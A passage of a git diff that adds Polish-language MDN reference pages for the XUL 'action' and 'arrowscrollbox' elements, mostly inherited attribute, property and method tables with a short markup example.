+ <p><strong>Note:</strong> If you're working on a module in the Mozilla codebase that's compiled with the <code>MOZILLA_INTERNAL_API</code> flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Guide/Internal_strings">XPCOM internal string guide</a> for documentation of the internal string API used within the Mozilla codebase.</p>
+</div>
+<p></p><div class="row topicpage-table">
+ <div class="section"><dl><dl><dt></dt></dl></dl></div>
+ <div class="section"><dl><dt class="landingPageList"><a href="/pl/docs/XPCOM_Interface_Reference">XPCOM Interface Reference</a></dt><dd class="landingPageList">This is a reference to the XPCOM interfaces provided by the Mozilla platform.</dd></dl></div>
+ </div><p></p>
+<p>Many XPCOM pages return an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Core_functions/nsresult">nsresult</a></code>. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed <code>enum</code> when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.</p>
diff --git a/files/pl/mozilla/tech/xul/action/index.html b/files/pl/mozilla/tech/xul/action/index.html
new file mode 100644
index 0000000000..900f59e7c0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/action/index.html
@@ -0,0 +1,95 @@
+---
+title: action
+slug: Mozilla/Tech/XUL/action
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/action
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Powinien zawierać się wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code>. Stosowany jest do określenia generowanej treści dla każdego dopasowanego węzła. Wewnątrz <code>action</code> atrybuty są przetwarzane dla <a class="external" href="http://xulplanet.com/tutorials/xultu/templateex.html">referencji zmiennych i zasobów</a>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/arrowscrollbox/index.html b/files/pl/mozilla/tech/xul/arrowscrollbox/index.html
new file mode 100644
index 0000000000..e74f985b9f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/arrowscrollbox/index.html
@@ -0,0 +1,184 @@
+---
+title: arrowscrollbox
+slug: Mozilla/Tech/XUL/arrowscrollbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/arrowscrollbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+
+<p>Pudełko, zawierające strzałki przewijania na swoich końcach, dzięki czemu można przewijać jego zawartość. Użytkownik potrzebuje tylko najechać kursorem myszki nad strzałkę w pudełku. Zwykle stosuje się ten element wraz z dużymi wyskakującymi menu.</p>
+
+<p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Przewijane_menu">kursie XUL</a>.</p>
+
+<dl>
+ <dt>Atrybuty</dt>
+ <dd><a href="#a-disabled">disabled</a>, <a href="#a-tabindex">tabindex</a></dd>
+</dl>
+
+<dl>
+ <dt>Własności</dt>
+ <dd><a href="#p-disabled">disabled</a>, <a href="#p-scrollBoxObject">scrollBoxObject</a>, <a href="#p-scrollIncrement">scrollIncrement</a>, <a href="#p-tabIndex">tabIndex</a></dd>
+</dl>
+
+<dl>
+ <dt>Metody</dt>
+ <dd><a href="#m-ensureElementIsVisible">ensureElementIsVisible</a>, <a href="#m-scrollByIndex">scrollByIndex</a>, <a href="#m-scrollByPixels">scrollByPixels</a></dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<div class="float-right"><img alt="grafika:menuscroll1.jpg"></div>
+
+<pre>&lt;arrowscrollbox orient="vertical" flex="1"&gt;
+ &lt;button label="Red"/&gt;
+ &lt;button label="Blue"/&gt;
+ &lt;button label="Green"/&gt;
+ &lt;button label="Yellow"/&gt;
+ &lt;button label="Orange"/&gt;
+ &lt;button label="Silver"/&gt;
+ &lt;button label="Lavender"/&gt;
+ &lt;button label="Gold"/&gt;
+ &lt;button label="Turquoise"/&gt;
+ &lt;button label="Peach"/&gt;
+ &lt;button label="Maroon"/&gt;
+ &lt;button label="Black"/&gt;
+&lt;/arrowscrollbox&gt;
+</pre>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table> <div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div> <div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div><p></p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a 